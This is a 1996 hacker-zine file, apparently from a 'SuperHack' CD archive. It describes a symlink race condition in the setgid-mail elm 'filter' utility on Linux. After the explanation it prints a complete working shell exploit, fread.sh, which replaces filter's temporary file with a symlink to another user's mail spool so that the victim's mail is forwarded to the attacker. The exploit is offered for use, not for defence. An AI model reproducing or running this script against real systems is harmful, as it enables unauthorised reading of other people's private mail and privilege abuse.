home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / LINUX-FI.ZIP / LINUX-FI.TXT
Text File  |  1996-05-19  |  3KB  |  58 lines

  1.  
  2. ..    Linux 'filter' Security Holes
  3. ...     by FEH Staff
  4.  
  5.    The elm filter under linux runs sugrp mail, thus allowing it to freely
  6. read and write from users mail spools.  It is only through the integrity
  7. of its code that the security of linux's mail system is protected; and in
  8. this respect it falls short.  In FEH #2, we printed mail-clobber, code
  9. that exploited filter in order to destroy a user's mail spool.  But, the
  10. capabilities to exploit filter extend beyond destruction of a mail spool,
  11. you can also use it to read a mail spool.
  12.    The specific problem that is exploited in this hole is the way filter
  13. uses a temporary file to store the input to it, and then subsequently send
  14. it back out according to the filter.  Because of the modularity of the 
  15. coding, in the main filter.c, the temporary file is opened, and then written
  16. to; after which it is closed.  The mailmessage function is then called, with
  17. the purpose of forwarding that mail, written to the temporary file, to
  18. whatever destination is specified in the filter.  At the start of this
  19. process, the temporary file is opened, and the contents of it are dumped
  20. to the mail spool of the user the mail is being forwarded to.  
  21.    At any point after the file has been initially opened by the main filter
  22. function, since the user running filter has permissions on that temp file,
  23. it can be rm'd.  The temp file existing can then be replaced with a symbolic
  24. link to any file that group mail has read permissions on.  When it is opened
  25. in the mailmessage function, the symbolic link is followed and whatever file
  26. that was pointed to will be read in, and the contents forwarded to the user
  27. specified in the mail spool.  
  28.    The complete exploit is shown below:
  29.  
  30.    ..   Program: filter, an elm utility
  31. Affected Operating Systems: linux
  32.               Requirements: account on machine
  33.        Security Compromise: user can read any mail spool readable by grp mail.
  34.                             (usually everything, sometimes not root)
  35.                   Synopsis: filter writes out the mail to be forwarded to a
  36.                             temporary file, which is then closed and reopened;
  37.                             if when the temporary file is reopened it is a
  38.                             symlink to a mail spool, filter will proceed
  39.                             to forward the contents of that file as if it was
  40.                             the original message.
  41.  
  42. fread.sh:
  43. #!/bin/sh
  44. echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp
  45. echo From: ReDragon > /tmp/fread-msg.tmp
  46. echo To: $LOGNAME >> /tmp/fread-msg.tmp
  47. echo Subject: Filter Exploit >> /tmp/fread-msg.tmp
  48. echo sleep 2 > /tmp/fread-sh.tmp
  49. echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
  50. chmod +x /tmp/fread-sh.tmp
  51. /tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
  52. FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
  53. rm -f /tmp/filter.$FREAD
  54. ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
  55. sleep 2
  56. rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp /tmp/fread-ftr.tmp /tmp/filter.$FREAD
  57. FREAD=
  58.